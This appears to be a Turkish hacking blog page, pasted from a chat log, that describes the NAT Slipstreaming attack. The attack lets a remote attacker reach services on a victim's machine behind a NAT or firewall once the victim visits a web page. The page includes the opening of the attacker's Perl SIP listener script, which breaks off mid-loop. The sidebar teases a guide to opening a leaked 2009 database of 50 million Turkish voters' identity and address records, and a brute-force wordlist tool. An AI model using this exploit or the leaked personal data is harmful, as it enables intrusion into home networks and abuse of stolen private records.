q

 NAT Slipstreaming exploits the user's browser in conjunction with the Application Level Gateway (ALG) connection tracking mechanism built into NATs, routers, and firewalls by chaining internal IP extraction via timing attack or WebRTC, automated remote MTU and IP fragmentation discovery, TCP packet size massaging, TURN authentication misuse, precise packet boundary control, and protocol confusion through browser abuse. As it's the NAT or firewall that opens the destination port, this bypasses any browser-based port restrictions.

[6:13 PM]

This attack takes advantage of arbitrary control of the data portion of some TCP and UDP packets without including HTTP or other headers; the attack performs this new packet injection technique across all major modern (and older) browsers, and is a modernized version to my original NAT Pinning technique from 2010 (presented at DEFCON 18 + Black Hat 2010). Additionally, new techniques for local IP address discovery are included.


This attack requires the NAT/firewall to support ALG (Application Level Gateways), which are mandatory for protocols that can use multiple ports (control channel + data channel) such as SIP and H323 (VoIP protocols), FTP, IRC DCC, etc.

[6:13 PM]

Released today official

[6:14 PM]

Still in project dm more info

[6:17 PM]

Simplify NAT Slipstreaming allows an attacker to remotely access any TCP/UDP services bound to a victim machine, bypassing the victim’s NAT/firewall, just by the victim visiting a website

[6:17 PM]

Heads up let's start re

[6:17 PM]

Executable File  168 lines (155 sloc)  3.33 KB(edited)

[6:19 PM]

#!/usr/bin/perl my $PORT = 5060;my $PROTO = shift || "tcp"; use IO::Socket;use strict; my $sock = IO::Socket::INET->new(    LocalPort => $PORT,    ReuseAddr => 1,    Blocking => $PROTO eq "udp",    Proto => $PROTO,    ($PROTO eq "tcp" ? (Listen => 1) : ())) || die $!;my $cli;print "Listening on port $PORT ($PROTO)\n";my $DATA = join "", <DATA>;my $msg;my @get;my $get;$SIG{INT} = sub { close($sock); close($cli); die; }; if ($PROTO eq "udp"){    while ($cli = $sock->recv($msg, 1024*4, 0))    {        print "- connected\n";#my ($port, $ip) = unpack_sockaddr_in($client);#my $host = gethostbyaddr($ip, AF_INET);#print "Client $host:$port sent '$message' at ", scalar(localtime), "\n";#$server->send("Message '$message' received", 0, $client);        $get = @get = map { "$_\n" } split(/\n/, $msg);        start();    }#$cli = $sock;}else{    while (1)    {        if ($cli = $sock->accept)        {            print "- connected\n";            eval {                local $SIG{ALRM} = sub { die };                alarm(5);                    start();                alarm(0);            };            eval { close($cli); };        }        select(undef, undef, undef, 0.1);    }print "ah\n";} sub start{    my %vars;    my $reg;    my $msg;    #while ($msg !~ /\r?\n\r?\n/) {    while (!$reg)    {    # TODO add timeout    # TODO support multiple users        while (1)

Yorumlar

Yorum Gönder

Bu blogdaki popüler yayınlar

2009 MERNİS DATA - Nasıl Açılır?

Resim
  malumunuz 2009 yılına ait, 50 milyon seçmenin kimlik ve adres (mernis) bilgilerini içerir bir veritabanı sızdı. hatta bir web sitesi bile açıldı. 6.6 gb boyutunda olan bu veri tabanını nasıl indireceğinizi veyahut web sitesinin adresini paylaşmayacağım. yeterli arama ile ikisini de bulmanız mümkün. ama eğer halihazırda veri tabanını indirdiyseniz bunu nasıl açıp kullanabileceğinizi anlatacam. öncelikle  mernis.tar.gz  isimli arşiv dosyasının içerisindeki  data_dump.sql  isimli dosyası bilgisayarımızın masaüstüne veyahut istediğiniz bir yere çıkarıyorsunuz. bu işlem bilgisayarınızın hızına göre 7-10 dakika arası sürüyor. bu çıkarma işlemini  winrar  ve benzeri programlarla yapabilirsiniz. akabinde  emeditor  yazılımın ufak bir google araması ile bulun. bilgisayarınızı ve işletim sisteminizin 32 veya 64 bit oluşuna göre gerekli versiyonu indirip bilgisayarınıza kurun. emeditör downlaod link : https://www.emeditor.com/ kurulum tamamlandık...
Devamı

Crunch Kullanımı

Resim
  CRUNCH NEDİR?   Brute-Force , sızma testleri gibi saldırılarını gerçekleştirmek için kullanılan wordlistleri oluşturmaya yarayan bir programdır. İnternette bulunan wordlistler dışında kendi wordlistlerimizi oluşturabiliriz. Diğer wordlist oluşturucularına göre hızı ve kolay kullanımı ile ön plana çıkmaktadır.   CRUNCH Kullanımı : Terminalden crunch yazıp çalıştırıyoruz crunch min max aralığını belirtiyoruz. Örnek: crunch 5 5 crunch min max sayı/kelime  hangi kelimenin kombinasyonunu istiyorsak onu yazıyoruz veya sayının hem sayı hem kelime de yazabiliriz crunch min max sayı/kelime -0 dosya adı yazıyoruz. Yukarıda görüldüğü gibi admin kelimesinin kombinasyonlarını oluşturup admin.text dosyasının içerisine attık. Admin.text dosyasının masaüstüne olmasının sebebi hzenci@kali:~/Masaüstü$ olasıdır.
Devamı

Python Anonim Chat Uygulaması

Resim
Merhaba Bu blog yayınında Python İle Nasıl Anonim Chat Uyhulaması Yapılır ve Nasıl Anonim İzi Sürülemez Olduğundan Bahsediceğim öncelikle bu uygulama 3 adte mini programcık olucak 1)Ngrok 2)server 3)client https://ngrok.com adresinden kayıt olup ngrok u kendi kullandığınız işletim sistemine uygun olarak indiriyorsunuz ve verdiği key i kullanarak çalıştırıyorsunuz ben örnek olarak linux kullanıcam ./ngrok tcp 4545 burda ngroktan tcp bağlantısı ve 4545 portunu istedim  buna server ile başlatıcam bunu ise python server.py 0.0.0.0 4545 burda lochal host üzerinde bir chat server açmış olduk ama bunun diş ipsi ise ngrok linki ve ngrokun size verdiği port olucak burda verdiği port size verdiği port olucak uzak bağlantıda kullanıcağınız yani python client.py ngroklink ngrokport ör/ python client.py 2.qewfads.ngrok.io 54366 bu bağlantıyı gerçekleştiren kişiler aynı sunucuda chatlaşebilicek ve ngrok durdurulduğunda herşey silinmiş olucak buda bunu anonim yapıyor ama mitm saldırılarına açık o...
Devamı